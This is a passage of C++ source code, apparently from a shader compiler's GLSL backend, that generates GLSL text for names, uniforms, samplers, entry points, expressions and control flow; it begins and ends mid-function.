"1.0/0.0/*inf*/" : "-1.0/0.0/*-inf*/"; break; } char temp[64]; // Will be null-terminated by snprintf std::snprintf(temp, sizeof(temp), "%1.8e", data.as_float[i]); s += temp; break; default: assert(false); } if (i < components - 1) s += ", "; } if (!type.is_scalar()) s += ')'; } void write_location(std::string &s, const location &loc) const { if (loc.source.empty() || !_debug_info) return; s += "#line " + std::to_string(loc.line) + '\n'; } std::string id_to_name(id id) const { if (const auto it = _remapped_sampler_variables.find(id); it != _remapped_sampler_variables.end()) id = it->second; assert(id != 0); if (const auto names_it = _names.find(id); names_it != _names.end()) return names_it->second; return '_' + std::to_string(id); } template <naming naming_type = naming::general> void define_name(const id id, std::string name) { assert(!name.empty()); if constexpr (naming_type != naming::expression) if (name[0] == '_') return; // Filter out names that may clash with automatic ones if constexpr (naming_type != naming::reserved) name = escape_name(std::move(name)); if constexpr (naming_type == naming::general) if (std::find_if(_names.begin(), _names.end(), [&name](const auto &it) { return it.second == name; }) != _names.end()) name += '_' + std::to_string(id); // Append a numbered suffix if the name already exists _names[id] = std::move(name); } uint32_t semantic_to_location(const std::string &semantic, uint32_t max_array_length = 1) { if (semantic.compare(0, 5, "COLOR") == 0) return std::strtoul(semantic.c_str() + 5, nullptr, 10); if (semantic.compare(0, 9, "SV_TARGET") == 0) return std::strtoul(semantic.c_str() + 9, nullptr, 10); if (const auto it = _semantic_to_location.find(semantic); it != _semantic_to_location.end()) return it->second; // Extract the semantic index from the semantic name (e.g. 2 for "TEXCOORD2") size_t digit_index = semantic.size() - 1; while (digit_index != 0 && semantic[digit_index] >= '0' && semantic[digit_index] <= '9') digit_index--; digit_index++; const uint32_t base_index = std::strtoul(semantic.c_str() + digit_index, nullptr, 10); const std::string base_semantic = semantic.substr(0, digit_index); // Now create adjoining location indices for all possible semantic indices belonging to this semantic name uint32_t location = static_cast<uint32_t>(_semantic_to_location.size()); max_array_length += base_index; for (uint32_t a = 0; a < max_array_length; ++a) _semantic_to_location.emplace(base_semantic + std::to_string(a), location + a); return location + base_index; } std::string escape_name(std::string name) const { static const std::unordered_set<std::string> s_reserverd_names = { "common", "partition", "input", "output", "active", "filter", "superp", "invariant", "attribute", "varying", "buffer", "resource", "coherent", "readonly", "writeonly", "layout", "flat", "smooth", "lowp", "mediump", "highp", "precision", "patch", "subroutine", "atomic_uint", "fixed", "vec2", "vec3", "vec4", "ivec2", "dvec2", "dvec3", "dvec4", "ivec3", "ivec4", "uvec2", "uvec3", "uvec4", "bvec2", "bvec3", "bvec4", "fvec2", "fvec3", "fvec4", "hvec2", "hvec3", "hvec4", "mat2", "mat3", "mat4", "dmat2", "dmat3", "dmat4", "mat2x2", "mat2x3", "mat2x4", "dmat2x2", "dmat2x3", "dmat2x4", "mat3x2", "mat3x3", "mat3x4", "dmat3x2", "dmat3x3", "dmat3x4", "mat4x2", "mat4x3", "mat4x4", "dmat4x2", "dmat4x3", "dmat4x4", "sampler1DShadow", "sampler1DArrayShadow", "isampler1D", "isampler1DArray", "usampler1D", "usampler1DArray", "sampler2DShadow", "sampler2DArrayShadow", "isampler2D", "isampler2DArray", "usampler2D", "usampler2DArray", "sampler2DRect", "sampler2DRectShadow", "isampler2DRect", "usampler2DRect", "isampler2DMS", "usampler2DMS", "isampler2DMSArray", "usampler2DMSArray", "isampler3D", "usampler3D", "sampler3DRect", "samplerCubeShadow", "samplerCubeArrayShadow", "isamplerCube", "isamplerCubeArray", "usamplerCube", "usamplerCubeArray", "samplerBuffer", "isamplerBuffer", "usamplerBuffer", "image1D", "iimage1D", "uimage1D", "image1DArray", "iimage1DArray", "uimage1DArray", "image2D", "iimage2D", "uimage2D", "image2DArray", "iimage2DArray", "uimage2DArray", "image2DRect", "iimage2DRect", "uimage2DRect", "image2DMS", "iimage2DMS", "uimage2DMS", "image2DMSArray", "iimage2DMSArray", "uimage2DMSArray", "image3D", "iimage3D", "uimage3D", "imageCube", "iimageCube", "uimageCube", "imageCubeArray", "iimageCubeArray", "uimageCubeArray", "imageBuffer", "iimageBuffer", "uimageBuffer", "abs", "sign", "all", "any", "sin", "sinh", "cos", "cosh", "tan", "tanh", "asin", "acos", "atan", "exp", "exp2", "log", "log2", "sqrt", "inversesqrt", "ceil", "floor", "fract", "trunc", "round", "radians", "degrees", "length", "normalize", "transpose", "determinant", "intBitsToFloat", "uintBitsToFloat", "floatBitsToInt", "floatBitsToUint", "matrixCompMult", "not", "lessThan", "greaterThan", "lessThanEqual", "greaterThanEqual", "equal", "notEqual", "dot", "cross", "distance", "pow", "modf", "frexp", "ldexp", "min", "max", "step", "reflect", "texture", "textureOffset", "fma", "mix", "clamp", "smoothstep", "refract", "faceforward", "textureLod", "textureLodOffset", "texelFetch", "main" }; // Escape reserved names so that they do not fail to compile if (name.compare(0, 3, "gl_") == 0 || s_reserverd_names.count(name)) // Append an underscore at start instead of the end, since another one may get added in 'define_name' when there is a suffix // This is guaranteed to not clash with user defined names, since those starting with an underscore are filtered out in 'define_name' name = '_' + name; // Remove duplicated underscore symbols from name which can occur due to namespaces but are not allowed in GLSL for (size_t pos = 0; (pos = name.find("__", pos)) != std::string::npos;) name.replace(pos, 2, "_"); return name; } std::string semantic_to_builtin(std::string name, const std::string &semantic, shader_type stype) const { if (semantic == "SV_POSITION") return stype == shader_type::ps ? "gl_FragCoord" : "gl_Position"; if (semantic == "SV_POINTSIZE") return "gl_PointSize"; if (semantic == "SV_DEPTH") return "gl_FragDepth"; if (semantic == "SV_VERTEXID") return _vulkan_semantics ? "gl_VertexIndex" : "gl_VertexID"; if (semantic == "SV_ISFRONTFACE") return "gl_FrontFacing"; if (semantic == "SV_GROUPID") return "gl_WorkGroupID"; if (semantic == "SV_GROUPINDEX") return "gl_LocalInvocationIndex"; if (semantic == "SV_GROUPTHREADID") return "gl_LocalInvocationID"; if (semantic == "SV_DISPATCHTHREADID") return "gl_GlobalInvocationID"; return escape_name(std::move(name)); } static void increase_indentation_level(std::string &block) { if (block.empty()) return; for (size_t pos = 0; (pos = block.find("\n\t", pos)) != std::string::npos; pos += 3) block.replace(pos, 2, "\n\t\t"); block.insert(block.begin(), '\t'); } id define_struct(const location &loc, struct_info &info) override { info.definition = make_id(); define_name<naming::unique>(info.definition, info.unique_name); _structs.push_back(info); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += "struct " + id_to_name(info.definition) + "\n{\n"; for (const auto &member : info.member_list) { code += '\t'; write_type(code, member.type); // GLSL does not allow interpolation attributes on struct members code += ' '; code += escape_name(member.name); if (member.type.is_array()) code += '[' + std::to_string(member.type.array_length) + ']'; code += ";\n"; } if (info.member_list.empty()) code += "float _dummy;\n"; code += "};\n"; return info.definition; } id define_texture(const location &, texture_info &info) override { info.id = make_id(); info.binding = ~0u; _module.textures.push_back(info); return info.id; } id define_sampler(const location &loc, sampler_info &info) override { info.id = make_id(); info.binding = _module.num_sampler_bindings++; info.texture_binding = ~0u; // Unset texture bindings define_name<naming::unique>(info.id, info.unique_name); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += "layout(binding = " + std::to_string(info.binding) + ") uniform sampler2D " + id_to_name(info.id) + ";\n"; _module.samplers.push_back(info); return info.id; } id define_storage(const location &loc, storage_info &info) override { info.id = make_id(); info.binding = _module.num_storage_bindings++; define_name<naming::unique>(info.id, info.unique_name); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += "layout(binding = " + std::to_string(info.binding); if (info.format != texture_format::unknown) { code += ", "; switch (info.format) { case texture_format::r8: code += "r8"; break; case texture_format::r16f: code += "r16f"; break; case texture_format::r32f: code += "r32f"; break; case texture_format::rg8: code += "rg8"; break; case texture_format::rg16: code += "rg16"; break; case texture_format::rg16f: code += "rg16f"; break; case texture_format::rg32f: code += "rg32f"; break; case texture_format::rgba8: code += "rgba8"; break; case texture_format::rgba16: code += "rgba16"; break; case texture_format::rgba16f: code += "rgba16f"; break; case texture_format::rgba32f: code += "rgba32f"; break; case texture_format::rgb10a2: code += "rgb10_a2"; break; default: assert(false); break; } } code += ") uniform "; if (info.format == texture_format::unknown) code += "writeonly "; code += "image2D " + id_to_name(info.id) + ";\n"; _module.storages.push_back(info); return info.id; } id define_uniform(const location &loc, uniform_info &info) override { const id res = make_id(); define_name<naming::unique>(res, info.name); if (_uniforms_to_spec_constants && info.has_initializer_value) { info.size = info.type.components() * 4; if (info.type.is_array()) info.size *= info.type.array_length; std::string &code = _blocks.at(_current_block); write_location(code, loc); assert(!info.type.has(type::q_static) && !info.type.has(type::q_const)); code += "const "; write_type(code, info.type); code += ' ' + id_to_name(res) + " = "; if (!info.type.is_scalar()) write_type<false, false>(code, info.type); code += "(SPEC_CONSTANT_" + info.name + ");\n"; _module.spec_constants.push_back(info); } else { // GLSL specification on std140 layout: // 1. If the member is a scalar consuming N basic machine units, the base alignment is N. // 2. If the member is a two- or four-component vector with components consuming N basic machine units, the base alignment is 2N or 4N, respectively. // 3. If the member is a three-component vector with components consuming N basic machine units, the base alignment is 4N. // 4. If the member is an array of scalars or vectors, the base alignment and array stride are set to match the base alignment of a single array element, // according to rules (1), (2), and (3), and rounded up to the base alignment of a four-component vector. // 7. If the member is a row-major matrix with C columns and R rows, the matrix is stored identically to an array of R row vectors with C components each, according to rule (4). // 8. If the member is an array of S row-major matrices with C columns and R rows, the matrix is stored identically to a row of S*R row vectors with C components each, according to rule (4). uint32_t alignment = (info.type.rows == 3 ? 4 /* (3) */ : info.type.rows /* (2)*/) * 4 /* (1)*/; info.size = info.type.rows * 4; if (info.type.is_matrix()) { alignment = 16 /* (4) */; info.size = info.type.rows * alignment /* (7), (8) */; } if (info.type.is_array()) { alignment = 16 /* (4) */; info.size = align_up(info.size, alignment) * info.type.array_length; } // Adjust offset according to alignment rules from above info.offset = _module.total_uniform_size; info.offset = align_up(info.offset, alignment); _module.total_uniform_size = info.offset + info.size; write_location(_ubo_block, loc); _ubo_block += '\t'; // Note: All matrices are floating-point, even if the uniform type says different!! write_type(_ubo_block, info.type); _ubo_block += ' ' + id_to_name(res); if (info.type.is_array()) _ubo_block += '[' + std::to_string(info.type.array_length) + ']'; _ubo_block += ";\n"; _module.uniforms.push_back(info); } return res; } id define_variable(const location &loc, const type &type, std::string name, bool global, id initializer_value) override { const id res = make_id(); // GLSL does not allow local sampler variables, so try to remap those if (!global && type.is_sampler()) return (_remapped_sampler_variables[res] = 0), res; if (!name.empty()) define_name<naming::general>(res, name); std::string &code = _blocks.at(_current_block); write_location(code, loc); if (!global) code += '\t'; if (initializer_value != 0 && type.has(type::q_const)) code += "const "; write_type(code, type); code += ' ' + id_to_name(res); if (type.is_array()) code += '[' + std::to_string(type.array_length) + ']'; if (initializer_value != 0) code += " = " + id_to_name(initializer_value); code += ";\n"; return res; } id define_function(const location &loc, function_info &info) override { return define_function(loc, info, false); } id define_function(const location &loc, function_info &info, bool is_entry_point) { info.definition = make_id(); // Name is used in other places like the "ENTRY_POINT" defines, so escape it here info.unique_name = escape_name(info.unique_name); if (!is_entry_point) define_name<naming::unique>(info.definition, info.unique_name); else define_name<naming::reserved>(info.definition, "main"); std::string &code = _blocks.at(_current_block); write_location(code, loc); write_type(code, info.return_type); code += ' ' + id_to_name(info.definition) + '('; assert(info.parameter_list.empty() || !is_entry_point); for (size_t i = 0, num_params = info.parameter_list.size(); i < num_params; ++i) { auto &param = info.parameter_list[i]; param.definition = make_id(); define_name<naming::unique>(param.definition, param.name); code += '\n'; write_location(code, param.location); code += '\t'; write_type<true>(code, param.type); // GLSL does not allow interpolation attributes on function parameters code += ' ' + id_to_name(param.definition); if (param.type.is_array()) code += '[' + std::to_string(param.type.array_length) + ']'; if (i < num_params - 1) code += ','; } code += ")\n"; _functions.push_back(std::make_unique<function_info>(info)); return info.definition; } void define_entry_point(function_info &func, shader_type stype, int num_threads[3]) override { // Modify entry point name so each thread configuration is made separate if (stype == shader_type::cs) func.unique_name = 'E' + func.unique_name + '_' + std::to_string(num_threads[0]) + '_' + std::to_string(num_threads[1]) + '_' + std::to_string(num_threads[2]); { const auto it = std::find_if(_module.entry_points.begin(), _module.entry_points.end(), [&func](const auto &ep) { return ep.name == func.unique_name; }); if (it != _module.entry_points.end()) return; } _module.entry_points.push_back({ func.unique_name, stype }); _blocks.at(0) += "#ifdef ENTRY_POINT_" + func.unique_name + '\n'; if (stype == shader_type::cs) _blocks.at(0) += "layout(local_size_x = " + std::to_string(num_threads[0]) + ", local_size_y = " + std::to_string(num_threads[1]) + ", local_size_z = " + std::to_string(num_threads[2]) + ") in;\n"; function_info entry_point; entry_point.return_type = { type::t_void }; std::unordered_map<std::string, std::string> semantic_to_varying_variable; const auto create_varying_variable = [this, stype, &semantic_to_varying_variable](type type, unsigned int extra_qualifiers, const std::string &name, const std::string &semantic) { // Skip built in variables if (!semantic_to_builtin(std::string(), semantic, stype).empty()) return; // Do not create multiple input/output variables for duplicate semantic usage (since every input/output location may only be defined once in GLSL) if ((extra_qualifiers & type::q_in) != 0 && !semantic_to_varying_variable.emplace(semantic, name).second) return; type.qualifiers |= extra_qualifiers; assert((type.has(type::q_in) || type.has(type::q_out)) && !type.has(type::q_inout)); // OpenGL does not allow varying of type boolean if (type.base == type::t_bool) type.base = type::t_float; std::string &code = _blocks.at(_current_block); const int array_length = std::max(1, type.array_length); const uint32_t location = semantic_to_location(semantic, array_length); for (int a = 0; a < array_length; ++a) { code += "layout(location = " + std::to_string(location + a) + ") "; write_type<false, false, true>(code, type); code += ' '; code += escape_name(type.is_array() ? name + '_' + std::to_string(a) : name); code += ";\n"; } }; // Translate function parameters to input/output variables if (func.return_type.is_struct()) { const struct_info &definition = find_struct(func.return_type.definition); for (const struct_member_info &member : definition.member_list) create_varying_variable(member.type, type::q_out, "_return_" + member.name, member.semantic); } else if (!func.return_type.is_void()) { create_varying_variable(func.return_type, type::q_out, "_return", func.return_semantic); } const auto num_params = func.parameter_list.size(); for (size_t i = 0; i < num_params; ++i) { type param_type = func.parameter_list[i].type; param_type.qualifiers &= ~type::q_inout; // Create separate input/output variables for "inout" parameters (since "inout" is not valid on those in GLSL) if (func.parameter_list[i].type.has(type::q_in)) { // Flatten structure parameters if (param_type.is_struct()) { const struct_info &definition = find_struct(param_type.definition); for (int a = 0, array_length = std::max(1, param_type.array_length); a < array_length; a++) for (const struct_member_info &member : definition.member_list) create_varying_variable(member.type, param_type.qualifiers | type::q_in, "_in_param" + std::to_string(i) + '_' + std::to_string(a) + '_' + member.name, member.semantic); } else { create_varying_variable(param_type, type::q_in, "_in_param" + std::to_string(i), func.parameter_list[i].semantic); } } if (func.parameter_list[i].type.has(type::q_out)) { if (param_type.is_struct()) { const struct_info &definition = find_struct(param_type.definition); for (int a = 0, array_length = std::max(1, param_type.array_length); a < array_length; a++) for (const struct_member_info &member : definition.member_list) create_varying_variable(member.type, param_type.qualifiers | type::q_out, "_out_param" + std::to_string(i) + '_' + std::to_string(a) + '_' + member.name, member.semantic); } else { create_varying_variable(param_type, type::q_out, "_out_param" + std::to_string(i), func.parameter_list[i].semantic); } } } // Translate return value to output variable define_function({}, entry_point, true); enter_block(create_block()); std::string &code = _blocks.at(_current_block); // Handle input parameters for (size_t i = 0; i < num_params; ++i) { const type &param_type = func.parameter_list[i].type; if (param_type.has(type::q_in)) { // Create local array element variables for (int a = 0, array_length = std::max(1, param_type.array_length); a < array_length; a++) { if (param_type.is_struct()) { // Build struct from separate member input variables code += '\t'; write_type<false, true>(code, param_type); code += ' '; code += escape_name(param_type.is_array() ? "_in_param" + std::to_string(i) + '_' + std::to_string(a) : "_in_param" + std::to_string(i)); code += " = "; write_type<false, false>(code, param_type); code += '('; const struct_info &definition = find_struct(param_type.definition); for (const struct_member_info &member : definition.member_list) { std::string in_param_name = "_in_param" + std::to_string(i) + '_' + std::to_string(a) + '_' + member.name; if (const auto it = semantic_to_varying_variable.find(member.semantic); it != semantic_to_varying_variable.end() && it->second != in_param_name) in_param_name = it->second; if (member.type.is_array()) { write_type<false, false>(code, member.type); code += "[]("; for (int b = 0; b < member.type.array_length; b++) { code += escape_name(in_param_name + '_' + std::to_string(b)); if (b < member.type.array_length - 1) code += ", "; } code += ')'; } else { code += semantic_to_builtin(std::move(in_param_name), member.semantic, stype); } code += ", "; } // There can be no empty structs, so can assume that the last two characters are always ", " code.pop_back(); code.pop_back(); code += ");\n"; } else if (const auto it = semantic_to_varying_variable.find(func.parameter_list[i].semantic); it != semantic_to_varying_variable.end() && it->second != "_in_param" + std::to_string(i)) { // Create local variables for duplicated semantics (since no input/output variable is created for those, see 'create_varying_variable') code += '\t'; write_type<false, true>(code, param_type); code += ' '; code += escape_name(param_type.is_array() ? "_in_param" + std::to_string(i) + '_' + std::to_string(a) : "_in_param" + std::to_string(i)); code += " = "; code += escape_name(param_type.is_array() ? it->second + '_' + std::to_string(a) : it->second); code += ";\n"; } } } // Create local parameter variables which are used as arguments in the entry point function call below code += '\t'; write_type<false, true>(code, param_type); code += ' '; code += escape_name("_param" + std::to_string(i)); if (param_type.is_array()) code += '[' + std::to_string(param_type.array_length) + ']'; // Initialize those local variables with the input value if existing // Parameters with only an "out" qualifier are written to by the entry point function, so do not need to be initialized if (param_type.has(type::q_in)) { code += " = "; // Build array from separate array element variables if (param_type.is_array()) { write_type<false, false>(code, param_type); code += "[]("; for (int a = 0; a < param_type.array_length; ++a) { code += escape_name("_in_param" + std::to_string(i) + '_' + std::to_string(a)); if (a < param_type.array_length - 1) code += ", "; } code += ')'; } else { code += semantic_to_builtin("_in_param" + std::to_string(i), func.parameter_list[i].semantic, stype); } } code += ";\n"; } code += '\t'; // Structs cannot be output variables, so have to write to a temporary first and then output each member separately if (func.return_type.is_struct()) { write_type(code, func.return_type); code += " _return = "; } // All other output types can write to the output variable directly else if (!func.return_type.is_void()) { code += semantic_to_builtin("_return", func.return_semantic, stype); code += " = "; } // Call the function this entry point refers to code += id_to_name(func.definition) + '('; for (size_t i = 0; i < num_params; ++i) { code += "_param" + std::to_string(i); if (i < num_params - 1) code += ", "; } code += ");\n"; // Handle output parameters for (size_t i = 0; i < num_params; ++i) { const type &param_type = func.parameter_list[i].type; if (!param_type.has(type::q_out)) continue; if (param_type.is_struct()) { const struct_info &definition = find_struct(param_type.definition); // Split out struct fields into separate output variables again for (int a = 0, array_length = std::max(1, param_type.array_length); a < array_length; a++) { for (const struct_member_info &member : definition.member_list) { if (member.type.is_array()) { for (int b = 0; b < member.type.array_length; b++) { code += '\t'; code += escape_name("_out_param" + std::to_string(i) + '_' + std::to_string(a) + '_' + member.name + '_' + std::to_string(b)); code += " = "; code += escape_name("_param" + std::to_string(i)); if (param_type.is_array()) code += '[' + std::to_string(a) + ']'; code += '.'; code += member.name; code += '[' + std::to_string(b) + ']'; code += ";\n"; } } else { code += '\t'; code += semantic_to_builtin("_out_param" + std::to_string(i) + '_' + std::to_string(a) + '_' + member.name, member.semantic, stype); code += " = "; code += escape_name("_param" + std::to_string(i)); if (param_type.is_array()) code += '[' + std::to_string(a) + ']'; code += '.'; code += member.name; code += ";\n"; } } } } else { if (param_type.is_array()) { // Split up array output into individual array elements again for (int a = 0; a < param_type.array_length; a++) { code += '\t'; code += escape_name("_out_param" + std::to_string(i) + '_' + std::to_string(a)); code += " = "; code += escape_name("_param" + std::to_string(i)); code += '[' + std::to_string(a) + ']'; code += ";\n"; } } else { code += '\t'; code += semantic_to_builtin("_out_param" + std::to_string(i), func.parameter_list[i].semantic, stype); code += " = "; code += escape_name("_param" + std::to_string(i)); code += ";\n"; } } } // Handle return struct output variables if (func.return_type.is_struct()) { const struct_info &definition = find_struct(func.return_type.definition); for (const struct_member_info &member : definition.member_list) { code += '\t'; code += semantic_to_builtin("_return_" + member.name, member.semantic, stype); code += " = _return." + escape_name(member.name) + ";\n"; } } // Add code to flip the output vertically if (_flip_vert_y && stype == shader_type::vs) code += "\tgl_Position.y = -gl_Position.y;\n"; leave_block_and_return(0); leave_function(); _blocks.at(0) += "#endif\n"; } id emit_load(const expression &exp, bool force_new_id) override { if (exp.is_constant) return emit_constant(exp.type, exp.constant); else if (exp.chain.empty() && !force_new_id) // Can refer to values without access chain directly return exp.base; const id res = make_id(); std::string type, expr_code = id_to_name(exp.base); for (const auto &op : exp.chain) { switch (op.op) { case expression::operation::op_cast: type.clear(); write_type<false, false>(type, op.to); expr_code = type + '(' + expr_code + ')'; break; case expression::operation::op_member: expr_code += '.'; expr_code += escape_name(find_struct(op.from.definition).member_list[op.index].name); break; case expression::operation::op_dynamic_index: // For matrices this will extract a column, but that is fine, since they are initialized column-wise too // Also cast to an integer, since it could be a boolean too, but GLSL does not allow those in index expressions expr_code += "[int(" + id_to_name(op.index) + ")]"; break; case expression::operation::op_constant_index: if (op.from.is_vector() && !op.from.is_array()) expr_code += '.', expr_code += "xyzw"[op.index]; else expr_code += '[' + std::to_string(op.index) + ']'; break; case expression::operation::op_swizzle: if (op.from.is_matrix()) { if (op.swizzle[1] < 0) { const int row = (op.swizzle[0] % 4); const int col = (op.swizzle[0] - row) / 4; expr_code += '[' + std::to_string(row) + "][" + std::to_string(col) + ']'; } else { // TODO: Implement matrix to vector swizzles assert(false); expr_code += "_NOT_IMPLEMENTED_"; // Make sure compilation fails } } else { expr_code += '.'; for (unsigned int i = 0; i < 4 && op.swizzle[i] >= 0; ++i) expr_code += "xyzw"[op.swizzle[i]]; } break; } } // GLSL matrices are always floating point, so need to cast result to the target type if (!exp.chain.empty() && exp.chain[0].from.is_matrix() && !exp.chain[0].from.is_floating_point()) { type.clear(); write_type<false, false>(type, exp.type); expr_code = type + '(' + expr_code + ')'; } if (force_new_id) { // Need to store value in a new variable to comply with request for a new ID std::string &code = _blocks.at(_current_block); code += '\t'; write_type(code, exp.type); code += ' ' + id_to_name(res) + " = " + expr_code + ";\n"; } else { // Avoid excessive variable definitions by instancing simple load operations in code every time define_name<naming::expression>(res, std::move(expr_code)); } return res; } void emit_store(const expression &exp, id value) override { if (const auto it = _remapped_sampler_variables.find(exp.base); it != _remapped_sampler_variables.end()) { assert(it->second == 0); it->second = value; return; } std::string &code = _blocks.at(_current_block); write_location(code, exp.location); code += '\t' + id_to_name(exp.base); for (const auto &op : exp.chain) { switch (op.op) { case expression::operation::op_member: code += '.'; code += escape_name(find_struct(op.from.definition).member_list[op.index].name); break; case expression::operation::op_dynamic_index: code += "[int(" + id_to_name(op.index) + ")]"; break; case expression::operation::op_constant_index: code += '[' + std::to_string(op.index) + ']'; break; case expression::operation::op_swizzle: if (op.from.is_matrix()) { if (op.swizzle[1] < 0) { const int row = (op.swizzle[0] % 4); const int col = (op.swizzle[0] - row) / 4; code += '[' + std::to_string(row) + "][" + std::to_string(col) + ']'; } else { // TODO: Implement matrix to vector swizzles assert(false); code += "_NOT_IMPLEMENTED_"; // Make sure compilation fails } } else { code += '.'; for (unsigned int i = 0; i < 4 && op.swizzle[i] >= 0; ++i) code += "xyzw"[op.swizzle[i]]; } break; } } code += " = "; // GLSL matrices are always floating point, so need to cast type if (!exp.chain.empty() && exp.chain[0].from.is_matrix() && !exp.chain[0].from.is_floating_point()) // Only supporting scalar assignments to matrices currently, so can assume to always cast to float code += "float(" + id_to_name(value) + ");\n"; else code += id_to_name(value) + ";\n"; } id emit_constant(const type &type, const constant &data) override { const id res = make_id(); if (type.is_array() || type.is_struct()) { assert(type.has(type::q_const)); std::string &code = _blocks.at(_current_block); code += '\t'; // GLSL requires constants to be initialized, but struct initialization is not supported right now if (!type.is_struct()) code += "const "; write_type(code, type); code += ' ' + id_to_name(res); // Array constants need to be stored in a constant variable as they cannot be used in-place if (type.is_array()) code += '[' + std::to_string(type.array_length) + ']'; // Struct initialization is not supported right now if (!type.is_struct()) { code += " = "; write_constant(code, type, data); } code += ";\n"; return res; } std::string code; write_constant(code, type, data); define_name<naming::expression>(res, std::move(code)); return res; } id emit_unary_op(const location &loc, tokenid op, const type &res_type, id val) override { const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; write_type(code, res_type); code += ' ' + id_to_name(res) + " = "; switch (op) { case tokenid::minus: code += '-'; break; case tokenid::tilde: code += '~'; break; case tokenid::exclaim: if (res_type.is_vector()) code += "not"; else code += "!bool"; break; default: assert(false); } code += '(' + id_to_name(val) + ");\n"; return res; } id emit_binary_op(const location &loc, tokenid op, const type &res_type, const type &type, id lhs, id rhs) override { const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; write_type(code, res_type); code += ' ' + id_to_name(res) + " = "; std::string intrinsic, operator_code; switch (op) { case tokenid::plus: case tokenid::plus_plus: case tokenid::plus_equal: operator_code = '+'; break; case tokenid::minus: case tokenid::minus_minus: case tokenid::minus_equal: operator_code = '-'; break; case tokenid::star: case tokenid::star_equal: if (type.is_matrix()) intrinsic = "matrixCompMult"; else operator_code = '*'; break; case tokenid::slash: case tokenid::slash_equal: operator_code = '/'; break; case tokenid::percent: case tokenid::percent_equal: if (type.is_floating_point()) intrinsic = "fmodHLSL", _uses_fmod = true; else operator_code = '%'; break; case tokenid::caret: case tokenid::caret_equal: operator_code = '^'; break; case tokenid::pipe: case tokenid::pipe_equal: operator_code = '|'; break; case tokenid::ampersand: case tokenid::ampersand_equal: operator_code = '&'; break; case tokenid::less_less: case tokenid::less_less_equal: operator_code = "<<"; break; case tokenid::greater_greater: case tokenid::greater_greater_equal: operator_code = ">>"; break; case tokenid::pipe_pipe: if (type.is_vector()) intrinsic = "compOr", _uses_componentwise_or = true; else operator_code = "||"; break; case tokenid::ampersand_ampersand: if (type.is_vector()) intrinsic = "compAnd", _uses_componentwise_and = true; else operator_code = "&&"; break; case tokenid::less: if (type.is_vector()) intrinsic = "lessThan"; else operator_code = '<'; break; case tokenid::less_equal: if (type.is_vector()) intrinsic = "lessThanEqual"; else operator_code = "<="; break; case tokenid::greater: if (type.is_vector()) intrinsic = "greaterThan"; else operator_code = '>'; break; case tokenid::greater_equal: if (type.is_vector()) intrinsic = "greaterThanEqual"; else operator_code = ">="; break; case tokenid::equal_equal: if (type.is_vector()) intrinsic = "equal"; else operator_code = "=="; break; case tokenid::exclaim_equal: if (type.is_vector()) intrinsic = "notEqual"; else operator_code = "!="; break; default: assert(false); } if (!intrinsic.empty()) code += intrinsic + '(' + id_to_name(lhs) + ", " + id_to_name(rhs) + ')'; else code += id_to_name(lhs) + ' ' + operator_code + ' ' + id_to_name(rhs); code += ";\n"; return res; } id emit_ternary_op(const location &loc, tokenid op, const type &res_type, id condition, id true_value, id false_value) override { if (op != tokenid::question) return assert(false), 0; // Should never happen, since this is the only ternary operator currently supported const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; write_type(code, res_type); code += ' ' + id_to_name(res); if (res_type.is_array()) code += '[' + std::to_string(res_type.array_length) + ']'; code += " = "; if (res_type.is_vector()) code += "compCond(" + id_to_name(condition) + ", " + id_to_name(true_value) + ", " + id_to_name(false_value) + ");\n", _uses_componentwise_cond = true; else // GLSL requires the conditional expression to be a scalar boolean code += id_to_name(condition) + " ? " + id_to_name(true_value) + " : " + id_to_name(false_value) + ";\n"; return res; } id emit_call(const location &loc, id function, const type &res_type, const std::vector<expression> &args) override { #ifndef NDEBUG for (const expression &arg : args) assert(arg.chain.empty() && arg.base != 0); #endif const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; if (!res_type.is_void()) { write_type(code, res_type); code += ' ' + id_to_name(res); if (res_type.is_array()) code += '[' + std::to_string(res_type.array_length) + ']'; code += " = "; } code += id_to_name(function) + '('; for (size_t i = 0, num_args = args.size(); i < num_args; ++i) { code += id_to_name(args[i].base); if (i < num_args - 1) code += ", "; } code += ");\n"; return res; } id emit_call_intrinsic(const location &loc, id intrinsic, const type &res_type, const std::vector<expression> &args) override { #ifndef NDEBUG for (const expression &arg : args) assert(arg.chain.empty() && arg.base != 0); #endif const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; if (!res_type.is_void()) { write_type(code, res_type); code += ' ' + id_to_name(res) + " = "; } enum { #define IMPLEMENT_INTRINSIC_GLSL(name, i, code) name##i, #include "effect_symbol_table_intrinsics.inl" }; switch (intrinsic) { #define IMPLEMENT_INTRINSIC_GLSL(name, i, code) case name##i: code break; #include "effect_symbol_table_intrinsics.inl" default: assert(false); } code += ";\n"; return res; } id emit_construct(const location &loc, const type &type, const std::vector<expression> &args) override { #ifndef NDEBUG for (const auto &arg : args) assert((arg.type.is_scalar() || type.is_array()) && arg.chain.empty() && arg.base != 0); #endif const id res = make_id(); std::string &code = _blocks.at(_current_block); write_location(code, loc); code += '\t'; write_type(code, type); code += ' ' + id_to_name(res); if (type.is_array()) code += '[' + std::to_string(type.array_length) + ']'; code += " = "; write_type<false, false>(code, type); if (type.is_array()) code += '[' + std::to_string(type.array_length) + ']'; code += '('; for (size_t i = 0, num_args = args.size(); i < num_args; ++i) { code += id_to_name(args[i].base); if (i < num_args - 1) code += ", "; } code += ");\n"; return res; } void emit_if(const location &loc, id condition_value, id condition_block, id true_statement_block, id false_statement_block, unsigned int flags) override { assert(condition_value != 0 && condition_block != 0 && true_statement_block != 0 && false_statement_block != 0); std::string &code = _blocks.at(_current_block); std::string &true_statement_data = _blocks.at(true_statement_block); std::string &false_statement_data = _blocks.at(false_statement_block); increase_indentation_level(true_statement_data); increase_indentation_level(false_statement_data); code += _blocks.at(condition_block); write_location(code, loc); if (flags != 0) { _enable_control_flow_attributes = true; code += "#if GL_EXT_control_flow_attributes\n\t[["; if ((flags & 0x1) == 0x1) code += "flatten"; if ((flags & 0x3) == 0x3) code += ", "; if ((flags & 0x2) == 0x2) code += "dont_flatten"; code += "]]\n#endif\n"; } code += '\t'; code += "if (" + id_to_name(condition_value) + ")\n\t{\n"; code += true_statement_data; code += 